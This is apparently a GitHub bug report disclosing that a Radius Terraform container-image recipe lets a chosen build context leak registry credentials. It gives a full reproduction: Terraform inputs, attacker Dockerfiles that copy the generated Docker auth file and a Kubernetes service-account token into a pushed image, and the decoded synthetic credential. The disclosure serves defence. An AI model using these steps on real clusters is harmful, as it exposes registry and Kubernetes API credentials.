Skip to content

Terraform containerImages can leak registry credentials through local build context #231

Description

@AzureMike

Steps to reproduce

The Terraform Radius.Compute/containerImages recipe accepts absolute local build paths from properties.build.source. With build.source=/terraform, BuildKit gets the whole Radius Terraform working directory as the local context:

--local context=/terraform --local dockerfile=/terraform --opt filename=radius-terraform-secret-poc/attacker/Dockerfile

Create a synthetic registry Secret:

kubectl -n default create secret generic radius-context-poc-registry-creds \
  --from-literal=username='synthetic-user' \
  --from-literal=password='RADIUS_SYNTHETIC_REGISTRY_PASSWORD'

Use these Terraform inputs:

{
  "context": {
    "resource": {
      "name": "terraform-secret-poc",
      "properties": {
        "tag": "repro-secret",
        "build": {
          "source": "/terraform",
          "dockerfile": "radius-terraform-secret-poc/attacker/Dockerfile",
          "platforms": ["linux/arm64"],
          "args": {}
        }
      }
    },
    "runtime": {
      "kubernetes": {
        "namespace": "default"
      }
    }
  },
  "registry": "ttl.sh/radius-terraform-secret-poc-20260714",
  "registrySecretName": "radius-context-poc-registry-creds"
}

Use this Dockerfile:

FROM alpine:3.20
COPY radius-terraform-poc-module/.docker-terraform-secret-poc/config.json /proof.json
CMD ["cat", "/proof.json"]

Run the Terraform recipe with those inputs. It pushes:

ttl.sh/radius-terraform-secret-poc-20260714/terraform-secret-poc:repro-secret

Pull and run that image. It prints the generated Docker auth:

{"auths":{"ttl.sh":{"auth":"c3ludGhldGljLXVzZXI6UkFESVVTX1NZTlRIRVRJQ19SRUdJU1RSWV9QQVNTV09SRA=="}}}

Decoded:

synthetic-user:RADIUS_SYNTHETIC_REGISTRY_PASSWORD

The same bug can expose scarier files if the source path is broader. For example, a Dockerfile can copy the dynamic-rp service-account token:

FROM alpine:3.20
COPY var/run/secrets/kubernetes.io/serviceaccount/token /dynamic-rp-token
CMD ["cat", "/dynamic-rp-token"]

In my local install, this file exists and is readable:

/var/run/secrets/kubernetes.io/serviceaccount/token
-rw-r--r-- root root

That image can carry dynamic-rp's Kubernetes API credential outside the pod.

Observed behavior

No response

Desired behavior

Developer-controlled local build contexts should be limited to source files the platform engineer intentionally exposes for image builds. Recipe-generated credential files should stay outside every path a developer can select as the BuildKit context.

Workaround

No response

rad Version

Detected upgrade scenario: chart version is edge, but using previous deployed version 0.59.0
CLI Version Information:
RELEASE   VERSION   BICEP     COMMIT
0.59.0    v0.59.0   0.42.1    2bf2c25fcdde20d4cba1371618829bbbe1f9a997

Control Plane Information:
STATUS     VERSION
Installed  0.59.0

Operating system

No response

Additional context

No response

Would you like to support us?

  • Yes, I would like to support you

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugtriagedThis item has been triaged by project maintainers and is in the backlog

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions